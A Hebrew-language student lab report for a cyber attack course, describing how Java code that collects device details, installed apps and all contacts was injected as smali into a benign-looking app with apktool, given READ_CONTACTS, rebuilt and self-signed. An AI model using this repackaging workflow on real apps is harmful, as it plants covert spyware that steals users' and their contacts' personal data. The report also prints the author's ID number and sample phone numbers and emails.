הסבר לפרוייקט גמר מעבדת סייבר – התקפה

שם: משה קרספין

ת.ז 315344515

השתמשתי רק בהרשאה אחת – READ_CONTACTS

ראשית יצרתי מספר פונקציות הכתובות השפת Java שלוקחות את הנתונים הבאים:

פונקצייה ראשונה - מידע על המכשיר ומערכת ההפעלה: באמצעות שימוש בספרייה Build

- Device
- SDK version
- FingerPrint
- Screen width
- Screen Height
- Model
- Product Name
- Incremental
- Supported 32 bit ABIs (ordered)
- Supported 64 bit ABIs(ordered)
- Product Name
- Display
- Hardware
- Host
- ID

פונקצייה שנייה – פונקצייה המחזירה את כל שמות האפליקציות המותקנות במכשיר

פונקצייה שלישית – פונקייה המחזירה את כל אנשי הקשר, לכל איש קשר מוחזר השם שלו + מספר הפלאפון + כתובת המייל שלו:

כך לדוגמה:

```
-----Contacts Info-----

---->Name: Moshe Crespin
---->Phone Number: 0506977725
---->E-mail: moshec315@gmail.com

---->Name: Mom
---->Phone Number: 0505928584
---->E-mail: mom@gmail.com
```

לאחר מכן יצרתי פונקצייה מקשרת בין שלושת הפונקציות הללו

```
public void Handler() {
    String Data = "";
    Data += getDeviceInfo();
    Data += getAllApks();
    Data += Contacts();
    dumpToFile(Data, getApplicationContext());
}
```

לחאר מכן יצרתי קובץ APK מהאפליקציות הללו, והשתמשתי בApkTool בכדי להמיר את האפליקצייה הזדונית הזו לsmali

```
seed@VM: ~/Desktop
[02/20/22]seed@VM:~/Desktop$ apktool d m_app.apk
I: Using Apktool 2.4.0-dirty on m_app.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /home/seed/.local/share/apktool/frame
work/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Baksmaling classes3.dex...
I: Baksmaling classes2.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
[02/20/22]seed@VM:~/Desktop$
```

כעת הרצתי apktool על אפליקציית הבסיס.

```
[02/20/22]seed@VM:~/Desktop$ apktool d magicDate.apk
I: Using Apktool 2.4.0-dirty on magicDate.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /home/seed/.local/share/apktool/frame
work/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
```

לבסוף הוספתי את האפליקציות הזדוניות הכתובות בsmali לקובץ MagicDate.smali:

את הפונקציות הויטואליות הוספתי לסוף הקובץ, ואת פונקציית הכתיבה לקובץ שהיא איננה פונקצייה וירטואלית הוספתי לפני הפונקציות הוירטואליות.

לבסוף הוספתי את ההרשאה READ_CONTACTS לAndroidManifest

```
AndroidManifest.xml
1 <?xml version="1.0" encoding="utf-8" standalone="no"?><manifest xmlns:android="http://schemas.android.com/apk/res/android"
  android:compileSdkVersion="32" android:compileSdkVersionCodename="12" package="com.example.c" platformBuildVersionCode="32"
  platformBuildVersionName="12">
2     <uses-permission android:name="android.permission.READ_CONTACTS"/>
3     <application android:allowBackup="true" android:appComponentFactory="androidx.core.app.CoreComponentFactory" android:debuggable="true"
  android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:roundIcon="@mipmap/ic_launcher_round"
  android:supportsRtl="true" android:theme="@style/Theme.C">
4         <activity android:exported="true" android:name="com.example.c.main">
5             <intent-filter>
6                 <action android:name="android.intent.action.MAIN"/>
7                 <category android:name="android.intent.category.LAUNCHER"/>
8             </intent-filter>
9         </activity>
10        <provider android:authorities="com.example.c.androidx-startup" android:exported="false"
  android:name="androidx.startup.InitializationProvider">
11            <meta-data android:name="androidx.emoji2.text.EmojiCompatInitializer" android:value="androidx.startup"/>
12            <meta-data android:name="androidx.lifecycle.ProcessLifecycleInitializer" android:value="androidx.startup"/>
13        </provider>
14    </application>
15 </manifest>
```

לאחר מכן בניתי שוב את האפליקצייה באמצעות apktool

```
[02/20/22]seed@VM:~/.../magicDate$ apktool b
I: Using Apktool 2.4.0-dirty
I: Checking whether sources has changed...
I: Smaling smali folder into classes.dex...
I: Checking whether resources has changed...
I: Building resources...
W: aapt: brut.common.BrutException: brut.common.BrutException: Could not e
xtract resource: /prebuilt/linux/aapt_64 (defaulting to $PATH binary)
I: Building apk file...
I: Copying unknown files/dir...
I: Built apk...
```

וחתמתי אותה באמצעות jarsigner -signedjar

```
[02/20/22]seed@VM:~/.../magicDate$ keytool -alias bob -genkey -v -keystore mykey.keystore
Enter keystore password:
Re-enter new password:
What is your first and last name?
  [Unknown]:  moshe
What is the name of your organizational unit?
  [Unknown]:  ariel
What is the name of your organization?
  [Unknown]:  ariel
What is the name of your City or Locality?
  [Unknown]:  jerusalem
What is the name of your State or Province?
  [Unknown]:  israel
What is the two-letter country code for this unit?
  [Unknown]:  il
Is CN=moshe, OU=ariel, O=ariel, L=jerusalem, ST=israel, C=il correct?
  [no]:  yes

Generating 2,048 bit DSA key pair and self-signed certificate (SHA256withDSA) with a validity of 90
days
```

```
seed@VM: ~/.../dist
[02/20/22]seed@VM:~/.../dist$ jarsigner -signedjar "out.apk" -keystore myk
ey.keystore "magicDate.apk" bob
Enter Passphrase for keystore:
jar signed.

Warning:
The signer's certificate is self-signed.
[02/20/22]seed@VM:~/.../dist$
```

וכאן קיבלתי את התוצאה הסופית:

mykey.keystore	2.4 kB	08:57
out.apk	85.7 kB	08:59

דוגמת הרצה נמצאת בסרטון